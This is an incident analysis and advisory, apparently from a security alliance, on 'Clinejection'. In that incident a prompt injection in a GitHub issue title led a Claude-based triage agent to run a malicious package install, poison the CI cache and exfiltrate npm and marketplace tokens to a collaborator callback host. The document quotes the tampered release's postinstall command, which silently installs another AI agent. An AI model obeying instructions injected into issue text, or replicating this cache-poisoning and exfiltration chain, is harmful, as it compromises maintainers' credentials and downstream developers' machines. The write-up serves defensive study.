Clinejection: Prompt Injection in GitHub Issue Titles Enables CI/CD Cache Poisoning and Supply Chain Compromise

Unofficial AI-assisted Research

Cloud Security Alliance AI Safety Initiative

2026-03-10

Key Takeaways

In February 2026, security researcher Adnan Khan disclosed a multi-stage attack chain against the Cline AI coding assistant that he named "Clinejection." The attack begins with a single malicious GitHub issue title—no repository access required—and terminates in the exfiltration of npm, VS Code Marketplace, and OpenVSX publication credentials. A subsequent real-world exploitation event on February 17, 2026 used those credentials to publish a tampered version of the Cline CLI package to npm, which covertly installed an unauthorized AI agent (`openclaw`) via a postinstall script on approximately 4,000 developer machines before the compromised version was deprecated [1][2].

Clinejection is significant beyond its impact on any single project. It demonstrates that AI-powered workflow automation, when given broad tool access over unsanitized user input, collapses several traditionally independent security boundaries: the separation between repository contributors and workflow execution, between low-privilege CI jobs and high-privilege publishing credentials, and between the artifact integrity of one workflow and another that shares cache scope. The broader vulnerability class—prompt injection delivered through GitHub issues, pull request bodies, and commit messages into AI agent workflows—has been independently confirmed in repositories belonging to at least five Fortune 500 companies and Google [3].

Organizations operating AI-powered automation in their CI/CD pipelines should use this incident as a prompt to audit the tool permissions granted to AI agents, the trust assumptions embedded in GitHub Actions workflow triggers, and the scope of credentials accessible through shared cache layers.

Background

Cline and the Rise of AI Workflow Automation

Cline is an open-source AI coding agent integrated into Visual Studio Code, JetBrains IDEs, and available as a standalone CLI. With over five million users as of early 2026 [1], it operates by accepting natural-language instructions and translating them into file edits, shell commands, and web requests on behalf of the developer. Cline supports multiple underlying language models, including Claude, and is distributed both through IDE extension marketplaces and as an npm package (`cline`).

In December 2025, the Cline engineering team introduced a GitHub Actions workflow—`claude-issue-triage.yml`—to automatically process incoming bug reports [1]. The workflow used `claude-code-action`, a GitHub Actions integration that routes GitHub events through a Claude agent configured with access to shell execution (`Bash`), filesystem tools (`Read`, `Write`, `Edit`, `Glob`, `Grep`), and network access (`WebFetch`, `WebSearch`). The intent was to reduce maintainer burden by having Claude read issue content, reproduce reported problems, and apply appropriate labels—a practical goal that nonetheless introduced a significant design flaw: the GitHub issue title was interpolated directly into Claude's prompt via the `${{ github.event.issue.title }}` expression without sanitization [1][4].

What Prompt Injection Means in an Agentic Context

Prompt injection in traditional LLM deployments—where a model generates text that a human reads—is primarily a content integrity concern, producing misinformation, inappropriate responses, or disclosure of system context. In an agentic deployment, where the model's outputs drive real-world actions through tools, the consequences are categorically different. A prompt injection that successfully redirects an agent equipped with shell access is functionally equivalent to remote code execution. The Cline triage workflow created exactly this condition: any GitHub user could open an issue, and the issue title would become part of the instruction set given to an agent with unrestricted shell access to the CI runner.

The workflow's `allowed_non_write_users: "*"` configuration setting compounded the risk by removing an access control gate that could have substantially limited the trigger surface [1]. In a correctly restricted configuration, only repository collaborators with write access could trigger the AI workflow. With the wildcard setting, the entire unauthenticated internet became a potential trigger source.

Security Analysis

The Attack Chain

Khan demonstrated Clinejection through a controlled reproduction in a mirror of the Cline repository. The attack proceeds across five logical phases, each exploiting a distinct misconfiguration or structural weakness.

Phase 1: Prompt Injection via Issue Title. The attacker opens a GitHub issue whose title contains natural-language instructions directed at the AI agent rather than at human readers. In Khan's demonstration, the issue title instructed Claude to install a prerequisite package before proceeding with diagnostics [1][4]. Because the workflow interpolated the title into the agent's system prompt without any delimiter, escaping, or input validation, Claude interpreted the attacker-supplied text as legitimate instructions.

Phase 2: Malicious Package via Cross-Fork Object Reference (CFOR). The injected instructions directed Claude to run `npm install github:cline/cline#<commit-hash>`. The referenced commit was not in the main Cline repository. The attacker had forked the repository, pushed a branch containing a malicious `package.json` with a `preinstall` script, then deleted the fork. GitHub's shared object store retains commit objects even after a fork is deleted, meaning the commit remained accessible through the parent repository's namespace—a technique researchers call Cross-Fork Object Reference [4][5]. To further reduce suspicion, the attacker's GitHub username (`glthub-actions`) substituted a lowercase `l` for the `i` in `github`, visually mimicking the GitHub Actions service account.

Phase 3: GitHub Actions Cache Poisoning via Cacheract. The malicious `preinstall` script fetched and executed a remote shell script that deployed Cacheract, a proof-of-concept GitHub Actions cache poisoning tool authored by Khan as part of his research [1][4]. Cacheract operates by flooding the Actions cache with large volumes of junk data—over 10 GB in Khan's demonstration—until GitHub's cache size limit triggers eviction of older cache entries. The attacker then immediately re-registers those evicted cache keys with poisoned entries. In the Cline case, the targeted keys were the npm dependency caches for the root project and its webview-ui component: `runner.os-npm-<hash-of-package-lock.json>`. Cacheract conceals its activity by hijacking the post-step of `actions/checkout`, causing the visible artifact to be an anomalous "Post Checkout" step failure with no diagnostic output.

Phase 4: Credential Exfiltration via the Nightly Release Workflow. The triage workflow that triggered the initial attack had limited publication permissions, but it shared cache scope with the nightly release workflow. When the nightly publish job ran, it restored the poisoned `node_modules` cache. The Cacheract payload then exfiltrated three publication secrets to an external callback host (`637rio6pykojp15rrkbm4gk960cr0jo8.oastify.com`, a Burp Collaborator endpoint): `VSCE_PAT` (VS Code Marketplace Personal Access Token), `OVSX_PAT` (OpenVSX registry token), and `NPM_RELEASE_TOKEN` (npm publish token) [1][2].

Phase 5: Credential Isolation Failure and Publication. Cline's publication tokens were scoped to the publisher identity (`saoudrizwan`) rather than per-extension or per-environment. Nightly release credentials could authorize production releases, and the npm token applied across the entire `cline` package namespace [2]. When Khan disclosed the vulnerability on February 9, 2026, Cline patched the triage workflow within approximately 30 minutes (PR #9211) and began rotating credentials. However, during rotation the team deleted the wrong npm token, leaving the exfiltrated `NPM_RELEASE_TOKEN` active [2].

The Real-World Exploitation Event

On February 17, 2026—eight days after public disclosure—an unknown threat actor attributed to GitHub user `glthub-actions` (user ID 256690727) used the still-valid stolen token to publish `cline@2.3.0` to the npm registry at 3:26 AM PT [2]. The package's `dist/cli.mjs` binary was byte-identical to the legitimate `2.2.3` release. The sole modification was the addition of a `postinstall` script:

```
"postinstall": "npm install -g openclaw@latest"
```

OpenClaw is a legitimate open-source AI agent with file system access, command execution capabilities, and web browsing. Its unauthorized global installation on developer machines is concerning not because it is itself malware, but because it represents a capable AI agent installed without user consent—one that could serve as a capable command-and-control substrate if an adversary can inject prompts into it remotely [6]—a scenario that remains theoretical but consistent with the attack's demonstrated trajectory. The compromised version remained active on the npm registry for approximately eight hours. Cline published a clean `cline@2.4.0` and deprecated `2.3.0` by 11:23 AM PT [2]. Approximately 4,000 developers downloaded the malicious version during the exposure window [2][7][11][12].

The VS Code Marketplace extension and JetBrains plugin were not affected; only the npm CLI package was compromised.

The Broader Vulnerability Class: PromptPwnd

Aikido Security independently identified the same structural vulnerability pattern across a broader population of repositories and named it PromptPwnd [3]. The pattern occurs whenever an AI-powered GitHub Actions or GitLab CI workflow interpolates unsanitized user-controlled content—issue bodies, pull request descriptions, commit messages, or issue titles—into an agent's prompt. Aikido confirmed

that at least five Fortune 500 companies operated workflows vulnerable to this pattern, and responsibly disclosed a variant to Google's `gemini-cli` repository, which was patched within four days [3]. No CVEs have been assigned to the broader PromptPwnd class.

The advisory record for Clinejection itself (GHSA-9ppg-jx86-fqw7) is rated Low severity by GitHub [8], a rating that some security researchers have criticized as failing to reflect the actual impact of a compromised npm package reaching thousands of developer machines [13]. The disconnect between the advisory's severity assessment and the real-world exploitation outcome illustrates a broader gap in how supply chain risk is evaluated when the initial exploitation path involves AI automation rather than direct vulnerability exploitation.

Structural Factors That Amplified Impact

Several design choices in Cline's CI/CD infrastructure transformed several individually addressable misconfigurations into a full supply chain compromise. First, the triage workflow was granted significantly more capability than its function required: automated issue triage does not require shell execution, filesystem writes, or network access. Applying least-privilege principles to the AI agent's tool configuration—providing only `Read` and label-management permissions—would have prevented every subsequent phase of the attack. Second, cache scope isolation between workflows of different privilege levels was absent. Sharing a cache namespace between a low-privilege triage job and a high-privilege publishing job created an unintended covert channel between the two. Third, publication credentials were scoped too broadly and persisted as long-lived static tokens rather than short-lived OIDC credentials. A token that was legitimately used for nightly builds should not have been capable of publishing a production release, and it should have expired before an adversary could act on exfiltrated data.

Recommendations

Immediate Actions

Organizations using AI-powered GitHub Actions workflows should conduct an immediate review of their workflow configurations with particular attention to three criteria. Any workflow that interpolates `github.event.issue.title`, `github.event.issue.body`, `github.event.pull_request.title`, `github.event.pull_request.body`, or `github.event.head_commit.message` into an AI agent prompt without sanitization should be

treated as potentially vulnerable. Any AI workflow configured with `allowed_non_write_users: "*"` should be restricted to collaborators with at minimum `read` permissions. Any AI workflow granted `Bash`, `Write`, or `Edit` tool access should have those permissions removed unless shell and filesystem execution is demonstrably required by the workflow's purpose.

Developers who installed `cline` on February 17, 2026, between approximately 3:26 AM PT and 11:30 AM PT should verify their installed version. If version `2.3.0` was installed, upgrading to `2.4.0` or later and running `npm uninstall -g openclaw` will remove the unauthorized installation [2].

Short-Term Mitigations

For teams operating AI automation in CI/CD pipelines, the principle of least capability should govern all agent configuration. The tool set granted to an AI agent should be the minimal set necessary to accomplish the specific task—for issue triage, this means label management and comment posting, not shell access. The trigger conditions for AI workflows should be restricted to authenticated contributors, not the general public: `allowed_non_write_users` should be set to `[]` rather than `"*"` for any workflow that grants meaningful execution capabilities.

Cache isolation between workflows of different privilege levels should be enforced architecturally. Where possible, high-privilege workflows—particularly those responsible for publishing artifacts—should avoid reading from caches that may have been written by lower-privilege jobs triggered by external actors. GitHub Actions supports workflow-level cache key namespacing that can enforce this separation, though it requires deliberate configuration.

Publication credentials—whether for npm, VS Code Marketplace, PyPI, or equivalent registries—should be provisioned as short-lived OIDC tokens scoped to specific packages and environments rather than long-lived personal access tokens. Cline adopted OIDC provenance for npm publishing as part of its post-incident remediation [2], a practice that should be standard across any project with automated publication workflows.

Strategic Considerations

The Clinejection incident illustrates a category of risk that security teams should begin modeling systematically: the integration of AI agents into CI/CD pipelines creates new attack surfaces that do not map cleanly onto existing threat models. Traditional software supply chain security focuses on the integrity of build inputs (source code, dependencies, build tooling) and build outputs (packages,

container images). AI-powered automation introduces a third attack surface: the instruction surface of the agent itself. Any input that reaches an AI agent's prompt is potentially an instruction, regardless of whether the system designer intended it as data.

This threat model has implications for how organizations evaluate AI workflow integrations. Security reviews of AI-powered automation should assess not only the permissions granted to the workflow but the full set of inputs that may reach the agent's prompt, the trust level of actors who can supply those inputs, and the downstream consequences of an agent that has been successfully redirected. Tabletop exercises that include prompt injection as an attack vector—analogous to how organizations now routinely model SQL injection or XSS—will help security teams develop intuition for this class of risk before it manifests in production.

The convergence between AI agent capabilities and software supply chain infrastructure also raises the stakes for existing supply chain security programs. Organizations that have invested in SLSA compliance, artifact signing, and dependency pinning must now contend with the possibility that the build system itself can be redirected by an adversary who never touches the code. Integration of AI workflow audit logging—recording what instructions were provided to an AI agent, what actions it took, and what outputs it produced—into existing build integrity monitoring is a meaningful near-term control.

CSA Resource Alignment

The Clinejection attack chain is directly relevant to several CSA frameworks and publications.

MAESTRO (Multi-Agent Environment Security Threat and Risk Overview) provides the foundational threat model for the AI agent layer implicated in this incident [9]. The MAESTRO framework identifies prompt injection as a Tier 1 threat to agentic AI systems and distinguishes between injection attacks delivered through direct user interaction and those delivered through environmental inputs such as file contents, web pages, or—as in Clinejection—event metadata. The Cline triage workflow represents precisely the environmental injection scenario MAESTRO addresses: the malicious instruction arrived through a channel (GitHub issue title) that the system designers treated as data but the AI agent treated as instruction. MAESTRO's guidance on agent capability sandboxing—restricting tool access to the minimum set required by the declared task—provides a direct mitigation framework for the overpermissioned tool configuration that enabled this attack.

CCM (Cloud Controls Matrix) applies through its supply chain risk management domain (STA-05 through STA-09), which addresses the security requirements for supplier and third-party relationships governing software artifacts [10]. The unauthorized publication of `cline@2.3.0` is a supply chain

integrity failure of the type CCM's controls are designed to prevent. CCM controls requiring artifact signing, publisher identity verification, and access management for publication credentials are all directly implicated. Organizations can use CCM as an audit framework for evaluating their own publication workflows against the structural weaknesses that Clinejection exposed.

CSA's Zero Trust Guidance supports the credential isolation recommendations in this note. Zero Trust principles—continuous verification, least privilege access, and microsegmentation—applied to CI/CD pipeline credentials would have prevented the nightly release workflow from trusting a cache written by the low-privilege triage workflow. The broader Zero Trust implication is that shared infrastructure (cache storage, artifact registries, secret namespaces) should not convey implicit trust between workflows of different privilege levels.

CSA's AI Organizational Responsibilities guidance is relevant to the governance dimension of this incident. The failure to respond to Khan's responsible disclosure outreach on January 1, 8, and 18, 2026—after which Khan proceeded to public disclosure before remediation was complete—reflects a gap in AI-related vulnerability management processes [1]. Organizations deploying AI systems in production should maintain active security disclosure contacts and defined response SLAs for AI-specific vulnerability reports.

CSA's Incident Response Guidance for Cloud Environments applies to the post-disclosure phase. The credential rotation failure that left the exfiltrated npm token active is a process failure during incident response. Structured runbooks for credential rotation, including explicit verification steps that confirm each specific token has been revoked rather than a similar token, reduce the probability of this class of error.

References

1. Adnan Khan, "Clinejection: From Issue Title to Supply Chain Compromise," adnanthekhan.com, February 9, 2026. https://adnanthekhan.com/posts/clinejection/

2. Cline Team, "Post-Mortem: Unauthorized cline CLI npm Publication," cline.bot, February 18, 2026. https://cline.bot/blog/post-mortem-unauthorized-cline-cli-npm

3. Aikido Security, "PromptPwnd: Prompt Injection via GitHub Actions AI Agent Workflows," aikido.dev, February 2026. https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents

4. Murray Cole, "Cline Compromise: Prompt Injection, Dangling Commits, and Cache Poisoning," murraycole.com, February 2026. https://murraycole.com/posts/cline-compromise-prompt-injection-supply-chain-attack

5. Snyk Security Research, "Cline Supply Chain Attack: How a Prompt Injection Compromised 4,000 Developer Machines," snyk.io, February 2026. https://snyk.io/blog/cline-supply-chain-attack-prompt-injection-github-actions/

6. Michael Bargury, "Agent Compromised by Agent To Deploy an Agent," mbgsec.com, February 19, 2026. https://www.mbgsec.com/posts/2026-02-19-agent-repo-compromised-by-agent-to-install-an-agent/

7. SafeDep, "Cline CLI Compromised: Supply Chain Attack Analysis," safedep.io, February 2026. https://safedep.io/cline-cli-compromised/

8. GitHub Security Advisory Database, "GHSA-9ppg-jx86-fqw7," github.com/advisories, 2026. https://github.com/advisories/GHSA-9ppg-jx86-fqw7

9. Cloud Security Alliance, "MAESTRO: Multi-Agent Environment Security Threat and Risk Overview," cloudsecurityalliance.org, 2025.

10. Cloud Security Alliance, "Cloud Controls Matrix v4.1," cloudsecurityalliance.org, 2021. https://cloudsecurityalliance.org/research/cloud-controls-matrix/

11. The Register, "AI Coding Assistant Cline Sneaked a Rogue Package Past 4,000 Developers," theregister.com, February 20, 2026. https://www.theregister.com/2026/02/20/openclaw_snuck_into_cline_package

12. Endor Labs, "Supply Chain Attack Targeting Cline Installs OpenClaw," endorlabs.com, February 2026. https://www.endorlabs.com/learn/supply-chain-attack-targeting-cline-installs-openclaw

13. Simon Willison, "Clinejection: Notes on the Cline Supply Chain Compromise," simonwillison.net, March 6, 2026. https://simonwillison.net/2026/Mar/6/clinejection/